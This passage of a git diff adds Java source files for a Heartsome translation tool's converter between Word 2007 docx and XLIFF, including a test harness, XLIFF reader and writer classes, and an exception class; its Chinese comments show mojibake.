+ + // 先解压 docx 文件 + String docxFolderPath = ZipUtil.upZipFile(inputFile, null); + PathUtil pathUtil = new PathUtil(docxFolderPath); + + // 定义一个 hsxliff 文件的写入方法 + xlfOutput = new XliffOutputer(xliffFile, sourceLanguage, targetLanguage); + xlfOutput.writeHeader(inputFile, "skeletonFile", true, "UTF-8", ""); + + + // 先从主文档 document 文件入手 + String docPath = pathUtil.getPackageFilePath(PathConstant.DOCUMENT, false); + DocumentPart docPart = new DocumentPart(docPath, pathUtil, xlfOutput, segmenter, inputFile, new NullProgressMonitor()); + docPart.converter(); + System.out.println("--------------"); + + xlfOutput.outputEndTag(); + + // 开始将文件进行压缩 +// String zipPath = "/home/robert/Desktop/word 2007 skeleton/" + new File(pathUtil.getSuperRoot()).getName(); + String zipPath = "C:\\Users\\Administrator\\Desktop\\word 2007 skeleton\\" + new File(pathUtil.getSuperRoot()).getName(); + ZipUtil.zipFolder(zipPath, pathUtil.getSuperRoot()); + } catch (Exception e) { + e.printStackTrace(); + }finally{ + try { + xlfOutput.close(); + System.out.println("----------"); + } catch (Exception e2) { + e2.printStackTrace(); + } + } + } + + + public void xliff2Docx() { + try { + String xliffFile = "/home/robert/workspace/runtime-UltimateEdition.product/testDocxConverter/XLIFF/zh-CN/测试简å•word文档.docx.hsxliff"; + String outputFile = "/home/robert/Desktop/word 2007 skeleton/最终word文档.docx"; + String skeletonFile = "/home/robert/Desktop/word 2007 skeleton/测试简å•word文档.docx_files"; + +// String xliffFile = "E:\\workspaces\\runtime-UltimateEdition.product\\testWord2007Convert\\XLIFF\\zh-CN\\测试简å•word文档.docx.hsxliff"; +// String outputFile = "/home/robert/Desktop/word 2007 skeleton/最终word文档.docx"; +// String skeletonFile = "C:\\Users\\Administrator\\Desktop\\word 2007 skeleton\\测试简å•word文档.docx_files"; + + // 先解压 docx 文件 + String docxFolderPath = ZipUtil.upZipFile(skeletonFile, null); + PathUtil pathUtil = new PathUtil(docxFolderPath); + + // 定义一个 hsxliff 的读入器 + XliffInputer xlfInput = new XliffInputer(xliffFile, pathUtil); + + // 正转æ¢æ˜¯ä»Ž 主文档入手的,而逆转æ¢åˆ™æ˜¯ä»Ž word/_rels/document.xml.rels 入手,先处ç†æŽ‰ 页眉,页脚,脚注,批注,尾注 + String docRelsPath = pathUtil.getPackageFilePath(PathConstant.DOCUMENTRELS, false); + DocumentRelation docRels = new DocumentRelation(docRelsPath, pathUtil); + docRels.arrangeRelations(xlfInput, new NullProgressMonitor()); + + // å†å¤„ç†ä¸»æ–‡æ¡£ +// pathUtil.setSuperRoot(); +// String docPath = pathUtil.getPackageFilePath(PathConstant.DOCUMENT, false); +// DocumentPart documentPart = new DocumentPart(docPath, xlfInput); +// documentPart.reverseConvert(); + + } catch (Exception e) { + e.printStackTrace(); + } finally { + try { + System.out.println("----------"); + } catch (Exception e2) { + e2.printStackTrace(); + } + } + } + + + public void testSegDocument(){ +// String inputFile = "/home/robert/Desktop/测试简å•word文档.docx"; +// String inputFile = "/home/robert/Desktop/Word2007 for test.docx"; +// String xliffFile = "/home/robert/workspace/runtime-UltimateEdition.product/testDocxConverter/XLIFF/zh-CN/测试简å•word文档.docx.hsxliff"; +// String sourceLanguage = "en-US"; +// String targetLanguage = "zh-CN"; +// String srx = "/home/robert/workspace/newR8/.metadata/.plugins/org.eclipse.pde.core/UltimateEdition.product/net.heartsome.cat.converter/srx/default_rules.srx"; +// String catalogue = "/home/robert/workspace/newR8/.metadata/.plugins/org.eclipse.pde.core/UltimateEdition.product/net.heartsome.cat.converter/catalogue/catalogue.xml"; +// String docPath = "/home/robert/Desktop/document.xml"; + + + String inputFile = "C:\\Users\\Administrator\\Desktop\\test word 2007 converter\\测试简å•word文档.docx"; +// String inputFile = "C:\\Users\\Administrator\\Desktop\\test word 2007 converter\\Word2007 for test.docx"; + String xliffFile = "E:\\workspaces\\runtime-UltimateEdition.product\\testWord2007Convert\\XLIFF\\zh-CN\\测试简å•word文档.docx.hsxliff"; + String sourceLanguage = "en-US"; + String targetLanguage = "zh-CN"; + String srx = "E:\\workspaces\\newR8\\.metadata\\.plugins\\org.eclipse.pde.core\\UltimateEdition.product\\net.heartsome.cat.converter\\srx\\default_rules.srx"; + String catalogue = "E:\\workspaces\\newR8\\.metadata\\.plugins\\org.eclipse.pde.core\\UltimateEdition.product\\net.heartsome.cat.converter\\catalogue\\catalogue.xml"; + String docPath = "C:\\Users\\Administrator\\Desktop\\document.xml"; + + try { + StringSegmenter segmenter = new StringSegmenter(srx, sourceLanguage, catalogue); + + // 定义一个 hsxliff 文件的写入方法 + xlfOutput = new XliffOutputer(xliffFile, sourceLanguage, targetLanguage); + xlfOutput.writeHeader(inputFile, "skeletonFile", true, "UTF-8", ""); + + + // 先从主文档 document 文件入手 + DocumentPart docPart = new DocumentPart(docPath, null, xlfOutput, segmenter, inputFile, new NullProgressMonitor()); + docPart.testSegFile(); + System.out.println("--------------"); + + xlfOutput.outputEndTag(); + } catch (Exception e) { + e.printStackTrace(); + } + + } + + public static void main(String[] args) { + TestWord2007 test = new TestWord2007(); +// test.docx2Xliff(); +// test.xliff2Docx(); + test.testSegDocument(); + + } +} diff --git a/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/Xliff2Docx.java b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/Xliff2Docx.java new file mode 100644 index 0000000..d30b522 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/Xliff2Docx.java @@ -0,0 +1,197 @@ +/** + * Xliff2MSOffice.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.word2007; + +import java.io.File; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.cat.converter.util.ReverseConversionInfoLogRecord; +import net.heartsome.cat.converter.word2007.common.PathConstant; +import net.heartsome.cat.converter.word2007.common.PathUtil; +import net.heartsome.cat.converter.word2007.common.ZipUtil; +import net.heartsome.cat.converter.word2007.partOper.DocumentPart; +import net.heartsome.cat.converter.word2007.partOper.DocumentRelation; +import net.heartsome.cat.converter.word2007.resource.Messages; +import net.heartsome.util.CommonFunctions; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * The Class Xliff2MSOffice. + * @author robert 2012-08-20 + * @version + * @since JDK1.6 + */ +public class Xliff2Docx implements Converter { + + public static final Logger LOGGER = LoggerFactory.getLogger(Xliff2Docx.class); + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "x-msofficeWord2007"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("utils.FileFormatUtils.MSWORD2007"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "XLIFF to MS Office Word 2007 Conveter"; + + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#convert(java.util.Map, org.eclipse.core.runtime.IProgressMonitor) + * @param args + * @param monitor + * @return + * @throws ConverterException + */ + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + Xliff2DocxImpl converter = new Xliff2DocxImpl(); + return converter.run(args, monitor); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getName() + * @return + */ + public String getName() { + return NAME_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getType() + * @return + */ + public String getType() { + return TYPE_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getTypeName() + * @return + */ + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + /** + * The Class Xliff2MSOfficeImpl. + * @author robert 2012-08-20 + * @version + * @since JDK1.6 + */ + class Xliff2DocxImpl { + + /** The catalogue. */ + private PathUtil pathUtil; + + /** + * Run. + * @param args + * the args + * @param monitor + * the monitor + * @return the map< string, string> + * @throws ConverterException + * the converter exception + */ + public Map run(Map args, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + ReverseConversionInfoLogRecord infoLogger = ConverterUtils.getReverseConversionInfoLogRecord(); + infoLogger.startConversion(); + Map result = new HashMap(); + // 备注,这个 xliffFile 文件是原xliff,ä¸åšä»»ä½•ä¿®æ”¹ï¼Œè¦æ‰§è¡Œä¿®æ”¹çš„是下é¢çš„ tempXLiffFile + String xliffFile = args.get(Converter.ATTR_XLIFF_FILE); + String outputFile = args.get(Converter.ATTR_TARGET_FILE); + String skeleton = args.get(Converter.ATTR_SKELETON_FILE); + + try { + File tempXLiffFile = File.createTempFile("tempxliff", "hsxliff"); + tempXLiffFile.deleteOnExit(); + CommonFunctions.copyFile(new File(xliffFile), tempXLiffFile); + // 把转æ¢è¿‡ç¨‹åˆ†ä¸ºä¸‰éƒ¨åˆ†å…± 20 个任务,解压压缩å„1个,页眉,页脚,批注,脚注,尾注å„1个,其余 13 个为处ç†ä¸»æ–‡æ¡£ + monitor.beginTask("", 20); +// infoLogger.logConversionFileInfo(catalogue, null, xliffFile, null); +// IProgressMonitor separateMonitor = Progress.getSubMonitor(monitor, 8); +// long startTime = 0; + +// LOGGER.info(Messages.getString("msoffice2007.Xliff2MSOffice.logger1"), startTime); + + monitor.setTaskName(Messages.getString("xlf2Docx.task6")); + String tempFolder = System.getProperty("java.io.tmpdir") + + System.getProperty("file.separator") + new File(skeleton).getName(); + String docxFolderPath = ZipUtil.upZipFile(skeleton, tempFolder); + pathUtil = new PathUtil(docxFolderPath); + monitor.worked(1); + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("docxConvert.task3")); + } + + // 定义一个 hsxliff 的读入器 + XliffInputer xlfInput = new XliffInputer(tempXLiffFile.getAbsolutePath(), pathUtil); + + // 正转æ¢æ˜¯ä»Ž 主文档入手的,而逆转æ¢åˆ™æ˜¯ä»Ž word/_rels/document.xml.rels 入手,先处ç†æŽ‰ 页眉,页脚,脚注,批注,尾注 + String docRelsPath = pathUtil.getPackageFilePath(PathConstant.DOCUMENTRELS, false); + DocumentRelation docRels = new DocumentRelation(docRelsPath, pathUtil); + docRels.arrangeRelations(xlfInput, monitor); // 这里用掉 5 ä¸ªæ ¼å­ + + // å†å¤„ç†ä¸»æ–‡æ¡£ + pathUtil.setSuperRoot(); + String docPath = pathUtil.getPackageFilePath(PathConstant.DOCUMENT, false); + DocumentPart documentPart = new DocumentPart(docPath, xlfInput, monitor); + documentPart.reverseConvert(); + + monitor.setTaskName(Messages.getString("xlf2Docx.task6")); + ZipUtil.zipFolder(outputFile, pathUtil.getSuperRoot()); + monitor.worked(1); + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("docxConvert.task3")); + } + }catch (Exception e) { + e.printStackTrace(); + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, + Messages.getString("xlf2Docx.msg1"), e); + } finally { + deleteFileOrFolder(new File(pathUtil.getSuperRoot())); + monitor.done(); + } + infoLogger.endConversion(); + result.put(Converter.ATTR_TARGET_FILE, outputFile); + return result; + } + } + + public static void deleteFileOrFolder(File file) { + if (file.exists()) { + if (file.isFile()) { + file.delete(); + } else if (file.isDirectory()) { + File files[] = file.listFiles(); + for (int i = 0; i < files.length; i++) { + deleteFileOrFolder(files[i]); + } + } + file.delete(); + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/XliffInputer.java b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/XliffInputer.java new file mode 100644 index 0000000..194c474 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/XliffInputer.java @@ -0,0 +1,455 @@ +package net.heartsome.cat.converter.word2007; + +import java.io.File; +import java.text.MessageFormat; +import java.util.Arrays; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; +import java.util.TreeMap; + +import net.heartsome.cat.converter.word2007.common.PathUtil; +import net.heartsome.cat.converter.word2007.common.SectionSegBean; +import net.heartsome.cat.converter.word2007.resource.Messages; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XMLModifier; + +/** + * hsxliff 文件的读入器,主è¦æ˜¯é’ˆå¯¹é€†è½¬æ¢ã€‚æ ¹æ®ä¸€ä¸ªå ä½ç¬¦çš„ id åŽ»èŽ·å– hsxliff 对应 id 的译文 + * @author robert 2012-08-20 + */ +public class XliffInputer { + /** hsxliff 读入器è¦è¯»å…¥çš„文件路径 */ + private String xliffFile; + private VTDNav vn; + private AutoPilot ap; + private AutoPilot childAP; + private VTDUtils vu; + + + public XliffInputer(String xliffFile, PathUtil pathUtil) throws Exception{ + this.xliffFile = xliffFile; + // 首先处ç†ä¹‹å‰æ­£è½¬æ¢æ—¶æ¸…ç†çš„一些标记,这些标记是存放在 /test.docx.skl/interTag.xml 下的。 + String interTagPath = pathUtil.getInterTagPath(); + restoreGTag(interTagPath); + + loadXliff(); + } + + /** + * è§£æž hsxliff 文件 + * @throws Exception + */ + private void loadXliff() throws Exception { + VTDGen vg = new VTDGen(); + if (vg.parseFile(xliffFile, true)) { + vn = vg.getNav(); + ap = new AutoPilot(vn); + childAP = new AutoPilot(vn); + ap.declareXPathNameSpace("hs", "http://www.heartsome.net.cn/2008/XLFExtension"); + childAP.declareXPathNameSpace("hs", "http://www.heartsome.net.cn/2008/XLFExtension"); + vu = new VTDUtils(vn); + }else { + throw new Exception(MessageFormat.format(Messages.getString("docxConvert.msg2"), xliffFile)); + } + } + + /** + * 通过 trans-unit çš„ id 的值去获å–å½“å‰ trans-unit 节点的译文 + * @param
    isText å ä½ç¬¦æ‰€ä»£è¡¨çš„字符串是å¦æ˜¯ w:t 节点的内容, 如果是,则ä¸éœ€è¦ç»„建 + * w:r 节点,å¦åˆ™è¦ç»„装 w:r 等一系列节点
    + * @return + * @throws Exception + */ + public String getTargetStrByTUId(List tuIdList, boolean isText) throws Exception { + StringBuffer textSB = new StringBuffer(); + for(String id : tuIdList){ +// if ("75".equals(id)) { +// System.out.println("逆转æ¢è°ƒè¯•å¼€å§‹ã€‚。。。。。。。"); +// } + String xpath = "/xliff/file/body/trans-unit[@id='" + id + "']"; + ap.selectXPath(xpath); + if (ap.evalXPath() != -1) { + // å…ˆå– target èŠ‚ç‚¹çš„å†…å®¹ï¼Œå¦‚æžœä¸ºç©ºï¼Œåˆ™å– source 的内容 + boolean targetIsNull = true; + childAP.selectXPath("./target"); + vn.push(); + if (childAP.evalXPath() != -1) { + String tgtContent = vu.getElementContent(); + if (tgtContent != null && !"".equals(tgtContent)) { + anaysisTgtOrSrcNode(textSB, vn, isText); + targetIsNull = false; + } + } + vn.pop(); + + // 如果译文为空,则获å–æºæ–‡çš„ä¿¡æ¯ + vn.push(); + if (targetIsNull) { + childAP.selectXPath("./source"); + if (childAP.evalXPath() != -1) { + String srcContent = vu.getElementContent(); + if (srcContent != null && !"".equals(srcContent)) { + anaysisTgtOrSrcNode(textSB, vn, isText); + } + } + } + vn.pop(); + } + } + + return textSB.toString(); + } + + /** + * åˆ†æž source 或 target 节点,获å–其内容 + * @throws Exception + */ + private void anaysisTgtOrSrcNode(StringBuffer textSB, VTDNav vn, boolean isText) throws Exception { + vn.push(); + AutoPilot otherAP = new AutoPilot(vn); + String childXpath = "./text()|node()"; + otherAP.selectXPath(childXpath); + int tokenId = -1; + int index = -1; + Map targetMap = new TreeMap(); + while (otherAP.evalXPath() != -1) { + index = vn.getCurrentIndex(); + tokenId = vn.getTokenType(index); + if (tokenId == 0) { //节点å­èŠ‚点 + ananysisTag(vn, targetMap); + }else if (tokenId == 5) { // 文本å­èŠ‚点 +// if ("+1 845-536-1416".equals(vn.toString(index))) { +// System.out.println("问题开始了。。。。"); +// } + targetMap.put(index, new SectionSegBean(null, vn.toRawString(index), null, null, null)); + } + } + vn.pop(); + + SectionSegBean bean; + for (Entry entry : targetMap.entrySet()) { + bean = entry.getValue(); + if (isText) { + if (bean.getText() != null) { + textSB.append(bean.getText()); + } + }else { + // 这个è¦ç»„装 w:r 等节点 + String ctype = bean.getCtype() == null ? "" : bean.getCtype(); + String style = bean.getStyle() == null ? "" : bean.getStyle(); + String extendNodes = bean.getExtendNodesStr() == null ? "" : bean.getExtendNodesStr(); + if (bean.getPhTagStr() != null) { + textSB.append(bean.getPhTagStr()); + }else { + if ("".equals(ctype)) { + textSB.append("" + style + extendNodes); + textSB.append("" + bean.getText() + ""); + }else { + // + int endIdx = ctype.indexOf(" ") == -1 ? ctype.indexOf(">") : ctype.indexOf(" "); + String nodeName = ctype.substring(ctype.indexOf("<") + 1, endIdx); + textSB.append(ctype); + textSB.append("" + style + extendNodes); + textSB.append("" + bean.getText() + ""); + textSB.append(""); + } + } + } + } + } + + /** + * 分æžæ ‡è®° + */ + private void ananysisTag(VTDNav vn, Map targetMap) throws Exception { + vn.push(); + AutoPilot tagAP = new AutoPilot(vn); + int index = vn.getCurrentIndex(); + String tagName = vn.toString(index); + if ("g".equals(tagName)) { + String style = ""; + int attrIdx = -1; + if ((attrIdx = vn.getAttrVal("rPr")) != -1) { + style = vn.toString(attrIdx); + } + + String extendNodes = ""; + if ((attrIdx = vn.getAttrVal("extendNodes")) != -1) { + extendNodes = vn.toString(attrIdx); + } + String ctype = ""; + if ((attrIdx = vn.getAttrVal("ctype")) != -1) { + ctype = vn.toString(attrIdx); + } + + // 首先检查 g 标记下是å¦æœ‰ã€€sub 节点 + int subNodeCount = -1; + tagAP.selectXPath("count(./descendant::sub)"); + subNodeCount = (int)tagAP.evalXPathToNumber(); + + tagAP.selectXPath("./node()|text()"); + if (subNodeCount > 0) { + int curIdx = vn.getCurrentIndex(); + StringBuffer gTextSB = new StringBuffer(); + Map gTextMap = new TreeMap(); + while(tagAP.evalXPath() != -1){ + index = vn.getCurrentIndex(); + int tokenType = vn.getTokenType(index); + if (tokenType == 0) { //节点å­èŠ‚点 + String nodeName = vn.toString(index); + if ("ph".equals(nodeName)) { + gTextMap.put(index, resetCleanStr(vu.getElementContent())); + }else if ("g".equals(nodeName)) { + ananysisTag(vn, targetMap); + }else if ("sub".equals(nodeName)) { + ananysisSubTag(vn, gTextMap, targetMap); + } + }else if (tokenType == 5) { //文本å­èŠ‚点 + gTextMap.put(index, resetCleanStr(vn.toRawString(index))); + } + } + + for(Entry entry : gTextMap.entrySet()){ + gTextSB.append(entry.getValue()); + } + targetMap.put(curIdx, new SectionSegBean(ctype, gTextSB.toString(), style, extendNodes, null)); + }else { + while(tagAP.evalXPath() != -1){ + index = vn.getCurrentIndex(); + int tokenType = vn.getTokenType(index); + if (tokenType == 0) { //节点å­èŠ‚点 + String nodeName = vn.toString(index); + if ("ph".equals(nodeName)) { + targetMap.put(index, new SectionSegBean(null, null, null, null, resetCleanStr(vu.getElementContent()))); + }else if ("g".equals(nodeName)) { + ananysisTag(vn, targetMap); + } + }else if (tokenType == 5) { //文本å­èŠ‚点 + targetMap.put(index, new SectionSegBean(ctype, vn.toRawString(index), style, extendNodes, null)); + } + } + } + }else if ("ph".equals(tagName)) { + targetMap.put(index, new SectionSegBean(null, null, null, null, resetCleanStr(vu.getElementContent()))); + }else if ("sub".equals(tagName)) { + String style = ""; + int attrIdx = -1; + if ((attrIdx = vn.getAttrVal("rPr")) != -1) { + style = vn.toString(attrIdx); + } + String extendNodes = ""; + if ((attrIdx = vn.getAttrVal("extendNodes")) != -1) { + extendNodes = vn.toString(attrIdx); + } + + tagAP.selectXPath("./node()|text()"); + while(tagAP.evalXPath() != -1){ + index = vn.getCurrentIndex(); + int tokenType = vn.getTokenType(index); + if (tokenType == 0) { //节点å­èŠ‚点 + String nodeName = vn.toString(index); + if ("ph".equals(nodeName)) { + targetMap.put(index, new SectionSegBean(null, null, null, null, resetCleanStr(vu.getElementContent()))); + }else if ("g".equals(nodeName)) { + ananysisTag(vn, targetMap); + } + }else if (tokenType == 5) { //文本å­èŠ‚点 + targetMap.put(index, new SectionSegBean(null, vn.toRawString(index), style, extendNodes, null)); + } + } + }else { //其他节点,一律当åšå­—ç¬¦ä¸²å¤„ç† + targetMap.put(index, new SectionSegBean(null, null, null, null, resetCleanStr(vu.getElementFragment()))); + } + vn.pop(); + } + + + /** + * 处ç†ã€€sub 标记 + * @param vn + * @param textMap + */ + private void ananysisSubTag(VTDNav vn, Map textMap, Map targetMap) throws Exception{ + vn.push(); + String style = ""; + int attrIdx = -1; + if ((attrIdx = vn.getAttrVal("rPr")) != -1) { + style = vn.toString(attrIdx); + } + + String extendNodes = ""; + if ((attrIdx = vn.getAttrVal("extendNodes")) != -1) { + extendNodes = vn.toString(attrIdx); + } + + AutoPilot curAP = new AutoPilot(vn); + curAP.selectXPath("./node()|text()"); + while(curAP.evalXPath() != -1){ + int index = vn.getCurrentIndex(); + int tokenType = vn.getTokenType(index); + if (tokenType == 0) { //节点å­èŠ‚点 + String nodeName = vn.toString(index); + if ("ph".equals(nodeName)) { + textMap.put(index, resetCleanStr(vu.getElementContent())); + }else if ("g".equals(nodeName)) { + ananysisTag(vn, targetMap); + }else if ("sub".equals(nodeName)) { + ananysisSubTag(vn, textMap, targetMap); + } + }else if (tokenType == 5) { //文本å­èŠ‚点 + StringBuffer textSB = new StringBuffer(); + + textSB.append("" + style + extendNodes); + textSB.append("" + resetCleanStr(vn.toRawString(index)) + ""); + + textMap.put(index, textSB.toString()); + } + } + vn.pop(); + } + + /** + * 转义回去 + * @param string + * @return + */ + public String resetCleanStr(String string){ + string = string.replaceAll("<", "<" ); + + string = string.replaceAll(">", ">"); + string = string.replaceAll(""", "\""); + string = string.replaceAll("&", "&"); + return string; + } + + public static void main(String[] args) { + try { + String xlfPath = "/home/robert/Desktop/testXliff.xml"; + XliffInputer inputer = new XliffInputer(xlfPath, null); + inputer.test_1(); + + } catch (Exception e) { + e.printStackTrace(); + } + } + + public void test_1(){ + try { +// Map targetMap = new LinkedHashMap(); +// AutoPilot ap = new AutoPilot(vn); +// AutoPilot childAP = new AutoPilot(vn); +// ap.selectXPath("/root/trans-unit/target"); +// while(ap.evalXPath() != -1){ +//// vn.push(); +//// childAP.selectXPath("./text()|node()"); +//// while (childAP.evalXPath() != -1) { +//// System.out.println("vn.//// = " + vn.toString(vn.getCurrentIndex())); +//// int tokenId = vn.getTokenType(vn.getCurrentIndex()); +//// if (tokenId == 0) { +//// ananysisTag(vn, targetMap); +//// System.out.println("vn.//// = " + vn.toString(vn.getCurrentIndex())); +//// } +//// } +//// vn.pop(); +// } + + + getTargetStrByTUId(Arrays.asList(new String[]{"75", "5"}), true); + } catch (Exception e) { + e.printStackTrace(); + } + + } + + + private void restoreGTag(String interTagPath) throws Exception{ + if (!new File(interTagPath).exists()) { + return; + } + // å…ˆè§£æž interTag.xml + VTDGen vg = new VTDGen(); + if (!vg.parseFile(interTagPath, true)) { + throw new Exception(); + } + + VTDNav vn = vg.getNav(); + AutoPilot ap = new AutoPilot(vn); + VTDUtils vu = new VTDUtils(vn); + String xpath = "/docxTags/tag"; + ap.selectXPath(xpath); + Map tagMap = new HashMap(); + String tuId = null; + int index = -1; + while(ap.evalXPath() != -1){ + tuId = null; + if ((index = vn.getAttrVal("tuId")) != -1) { + tuId = vn.toString(index); + } + if (tuId == null) { + continue; + } + + String content = vu.getElementContent().replace("", ""); + if (content.indexOf(" entry : tagMap.entrySet()){ + String thisTuId = entry.getKey(); + String tagContent = entry.getValue(); + + // docx 转æ¢å™¨é‡Œé¢æ˜¯æ²¡æœ‰ 多个file节点 的情况 + // 先处ç†æºæ–‡ + xpath = "/xliff/file/body//trans-unit[@id='" + thisTuId + "']/source"; + ap.selectXPath(xpath); + if (ap.evalXPath() != -1) { + String srcHeader = vu.getElementHead(); + String oldContent = vu.getElementContent(); + xm.remove(); + StringBuffer newFragSB = new StringBuffer(); + newFragSB.append(srcHeader); + newFragSB.append(tagContent); + newFragSB.append(oldContent); + newFragSB.append(""); + xm.insertAfterElement(newFragSB.toString()); + } + // 处ç†è¯‘æ–‡ + xpath = "/xliff/file/body//trans-unit[@id='" + thisTuId + "']/target"; + ap.selectXPath(xpath); + if (ap.evalXPath() != -1) { + String srcHeader = vu.getElementHead(); + String oldContent = vu.getElementContent(); + xm.remove(); + StringBuffer newFragSB = new StringBuffer(); + newFragSB.append(srcHeader); + newFragSB.append(tagContent); + newFragSB.append(oldContent); + newFragSB.append(""); + xm.insertAfterElement(newFragSB.toString()); + } + } + xm.output(xliffFile); + // 删除 interTag.xml + File interTagFile = new File(interTagPath); + interTagFile.delete(); + } + + +} diff --git a/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/XliffOutputer.java b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/XliffOutputer.java new file mode 100644 index 0000000..517a2eb --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/XliffOutputer.java @@ -0,0 +1,186 @@ +package net.heartsome.cat.converter.word2007; + +import java.io.FileOutputStream; +import java.io.IOException; +import java.util.Iterator; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; +import java.util.TreeMap; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.word2007.common.SectionSegBean; +import net.heartsome.util.CRC16; +import net.heartsome.util.TextUtil; +import net.heartsome.xml.vtdimpl.VTDUtils; + +/** + * word 2007 转æ¢è‡³ xliff 文件时,xliff 文件的写入æ“作类。 + * @author robert 2012-08-08 + */ +public class XliffOutputer { + /** xliff 文件的路径 */ + private String xliffPath; + /** xliff 文件的æºè¯­è¨€ */ + private String sourceLanguage; + /** xliff 文件的目标语言 */ + private String targetLanguage; + private FileOutputStream output; + /** trans-unit 节点的id */ + private int segId; + /** 所有 标记的 id */ + private int tagId; + + public XliffOutputer(){} + + public XliffOutputer(String xliffPath, String sourceLanguage, String targetLanguage) throws Exception { + this.xliffPath = xliffPath; + this.sourceLanguage = sourceLanguage; + this.targetLanguage = targetLanguage; + output = new FileOutputStream(this.xliffPath); + + + } + + /** + * 写下 xliff æ–‡ä»¶çš„å¤´ä¿¡æ¯ + * @throws IOException + */ + public void writeHeader(String inputFile, String skeletonFile, boolean isSuite, String srcEncoding, String qtToolID) throws IOException { + writeOut("\n"); + writeOut("\n"); + if (!targetLanguage.equals("")) { + writeOut("\n"); + }else { + writeOut("\n"); + } + writeOut("
    \n"); + writeOut("\n"); + if (isSuite) { + writeOut("\n"); + } else { + writeOut("\n"); + } + writeOut("\n"); + writeOut(" \n"); + writeOut(" " + + srcEncoding + "\n"); + writeOut("
    \n\n"); + writeOut("\n"); + } + + + private void writeOut(String string) throws IOException { + output.write(string.getBytes("UTF-8")); + } + + + /** + * 写入xliff文件的结æŸæ ‡è®° + */ + public void outputEndTag() throws Exception{ + writeOut("\n
    \n
    "); + } + + + /** + * 关闭 xliff çš„å†™å…¥æµ + */ + public void close() throws Exception{ + output.close(); + } + + + public String cleanString(String string) { + string = string.replaceAll("&", "&"); + string = string.replaceAll("<", "<"); + string = string.replaceAll(">", ">"); + string = string.replaceAll("\"", """); + return string; + } + + + + + public int getSegId() { + return segId; + } + + public int getTagId() { + return tagId; + } + + /** + * 设置phId 步增一值 + */ + public int useTagId() { + return tagId++; + } + + public int useSegId(){ + return segId++; + } + + /** + * ç”Ÿæˆ trans-unit 节点 + * @param source + */ + public String addTransUnit(String source) throws Exception { + if (source.length() > 0) { + StringBuffer sb = new StringBuffer(); + sb.append("\t\n"); + sb.append("\t\t"); + sb.append(source); + sb.append("\n"); + sb.append("\t\n"); + writeOut(sb.toString()); + return "%%%" + (segId++) + "%%%"; + } + return null; + } + + /** + * ç”Ÿæˆ trans-unit 节点 + * @param source + */ + public void addTransUnit(String source, String segIdStr) throws Exception { + if (source.length() > 0) { + StringBuffer sb = new StringBuffer(); + sb.append("\t\n"); + sb.append("\t\t"); + sb.append(source); + sb.append("\n"); + sb.append("\t\n"); + writeOut(sb.toString()); + } + } + + + public static void main(String[] args) { +// String a = "Irrigation Pump"; + String a = "" + +"Irrigation Pump"; + System.out.println(cleanString11(a)); + + + + } + + public static String cleanString11(String string) { + string = string.replaceAll("&", "&"); + string = string.replaceAll("<", "<"); + string = string.replaceAll(">", ">"); + string = string.replaceAll("\"", """); + return string; + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/common/DocxConverterException.java b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/common/DocxConverterException.java new file mode 100644 index 0000000..748a9d5 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/common/DocxConverterException.java @@ -0,0 +1,13 @@ +package net.heartsome.cat.converter.word2007.common; + +public class DocxConverterException extends Exception{ + private static final long serialVersionUID = 1L; + + public DocxConverterException() { + super(); + } + + public DocxConverterException(String message) { + super("\n"+message); + } +} diff --git a/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/common/PathConstant.java b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/common/PathConstant.java new file mode 100644 index 0000000..14bcabf --- /dev/null +++ 